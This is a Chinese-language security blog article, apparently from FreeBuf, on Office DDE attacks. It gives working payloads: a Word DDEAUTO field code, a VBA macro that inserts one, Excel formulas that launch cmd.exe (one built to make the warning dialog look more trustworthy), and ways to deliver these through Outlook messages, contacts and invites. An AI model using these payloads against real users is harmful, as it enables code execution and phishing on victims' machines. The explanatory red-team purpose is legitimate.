FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
Microsoft Office之DDE攻击 secist2018-01-22共285071人围观 ,发现 6 个不明物体 系统安全
Microsoft Office可以说是使用最广泛的办公软件。然而就是因为这样,也使它成为了黑客的主要攻击目标之一,例如在网络安全对抗赛中红队会用它来窃取域哈希,甚至执行任意代码。
从以往的攻击手法上看,在Microsoft Office中执行任意代码往往是通过宏来实现的。那么,有没有其它方法可以实现任意代码执行呢?答案是肯定的。SensePost就发现了一种利用DDE(动态数据交换)协议,来执行任意代码的方法。办公产品内有许多可通过DDE接收代码并执行的地方,本文我将为大家演示一些这类攻击的常用手法。此外,关于本文的payload可以结合DDE Payloads作为参考。
Word
在Microsoft Word中,最简单的方法是插入一个字段代码,如SensePost文中所述,并在formula中嵌入payload。
Insert-> Quick Parts-> Field
1word-dde-via-field-code.png
在括号内添加以下payload内容,将会在下次打开文件时弹出一个对话框。如果用户选择“Yes”选项,则payload将被执行。
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"}
2word-dde-payload.png
或者,我们也可以像Paul Ritchie在其博客中描述的那样,使用宏将payload插入字段代码。
''' Programmatically inserts a new field code into a word document at the current selection index.
''' This is of type "wdFieldDDEAuto" which is a field code which executes Dynamic Data Exchange (DDE)
''' When the document is opened. This includes an example PoC which launches calc.exe
Public Sub FieldCodeFun()
' Payload String
Dim payload As String
payload = """c:\\windows\\system32\\calc.exe"" ""/c calc.exe"""
' Insert our payload as a field code
Selection.Collapse Direction:=wdCollapseEnd
ActiveDocument.Fields.Add Range:=Selection.Range, _
Type:=wdFieldDDEAuto, Text:=payload
End Sub
3word-dde-via-macro.png
以上示例中的payload只是打开了计算器,但我们也可以将其修改为其它任意代码(甚至恶意的)。
Mike Czumaky在他的博客中也为我们提供了一种很好的思路,从外部托管的另一个Word文档加载恶意的DDE。 INCLUDE字段代码可被用来与该攻击向量结合外部URL使用。
4word-load-dde-payload-from-another-document.png
Excel
在Microsoft Excel DDE有效载荷可以通过formula的使用来利用。以下两个formula将执行代码(本例中为计算器),第二个formula将使警告消息框看上去更合理,以更好的欺骗用户。
=cmd|'/c calc.exe'!A1
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''
5excel-dde-command.png
当用户打开恶意Excel电子表格时,将出现以下对话框。
6excel-dde-dialog-box.png
第二个formula仍将执行代码,但对话框中的消息内容将被修改,此时我们可以看到不再是要求用户启动CMD.EXE,而是要求启动MSEXCEL.exe。
7excel-dde-2nd-command.png
Outlook
在Outlook中也有许多可执行DDE payload的地方。例如,你已经获取到了域凭据,则可以更好的伪装电子邮件发送给其他用户,以获取更多内部的shell。
Message
发送包含DDE的Outlook消息也可以自动执行代码。这同样适用于以附件形式发送的电子邮件。
8outlook-message-dde-payload.png
但需要注意的是,因为某些电子邮件服务器会将所有电子邮件转换为HTML,为了避免我们的DDE payload失效,我们需要将电子邮件以RTF格式发送。
9outlook-message-dde-in-rich-text.png
当用户打开我们发送的邮件后,DDE payload将会被执行。
10outlook-message-rtf-email-message.png
Contact
创建新的联系人或修改现有的联系人,并将DDE payload放入Notes区域可导致执行代码。
11outlook-dde-payload-in-contact-notes.png
联系人需要发送给目标用户。
12outlook-foward-contact-with-dde.png
当用户打开联系人时,将执行嵌入的DDE payload。
13outlook-dde-execution.png
Calendar Invite
同样,该方法也适用与calendar invitation功能。例如,发送一个添加了DDE paylaod的会议邀请,一旦目标用户与其进行了交互(打开或取消),则DDE paylaod就将被执行。
14outlook-dde-via-calendar-invitations.png
参考
https://medium.com/red-team/dde-payloads-16629f4a2fcd
http://staaldraad.github.io/2017/10/23/msword-field-codes/
http://willgenovese.com/office-ddeauto-attacks/
https://www.secarma.co.uk/labs/is-dynamic-data-exchange-dde-injection-a-thing/
*参考来源:pentestlab,FB小编 secist 编译,转载请注明来自FreeBuf.COM
s
secist
secist
315 篇文章
等级: 9级
||
上一篇:Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测下一篇:英特尔暂停发放CPU补丁, Linux之父怒批“Spectre补丁是彻底的垃圾”
发表评论已有 6 条评论
路人甲 2018-01-22回复 1楼
炒冷饭
亮了(3)
屌丝绅士 专栏作者(5级) 做自己的自己 和平年代的炮灰,战争年代的爆破鬼才 2018-01-23回复 2楼
360拦截cmd 小白求解姿势
亮了(0)
bi3g0 (2级) 这家伙太懒了,还未填写个人描述! 2018-01-23回复 3楼
之前做过复现但是碰到问题,payload插入后保存,再次打开无权限
亮了(0)
includeheqile (1级) 2018-10-24回复 4楼
我就想问一句啊,pentest到底是啥?
还有文中Paul Ritchie在他的博客中写的那段payload是什么脚本语言?VB?
亮了(0)
includeheqile (1级) 2018-10-24回复 5楼
兄弟,你提供的vbs脚本运行不了啊???
亮了(0)
河蟹 2018-10-24回复
@ includeheqile xp系统运行
亮了(1)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
secist
secist
每个人的心中都有一个梦。。
315
文章数
60
评论数
最近文章
SniffAir:无线渗透测试框架
2018.11.17
SlackExtract:用于提取slack用户所有文件的PowerShell脚本
2018.11.14
我是如何找到Donald Daters应用数据库漏洞的
2018.11.13
浏览更多
相关阅读
Microsoft Office之DDE攻击
揭秘基于注册表隐藏的无文件攻击Wannacry蠕虫勒索软件处置手册Win64bit提权0day漏洞(CVE-2014-4113)只是内核模式漏洞的开始Noriben沙箱:分分钟搞定恶意软件
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论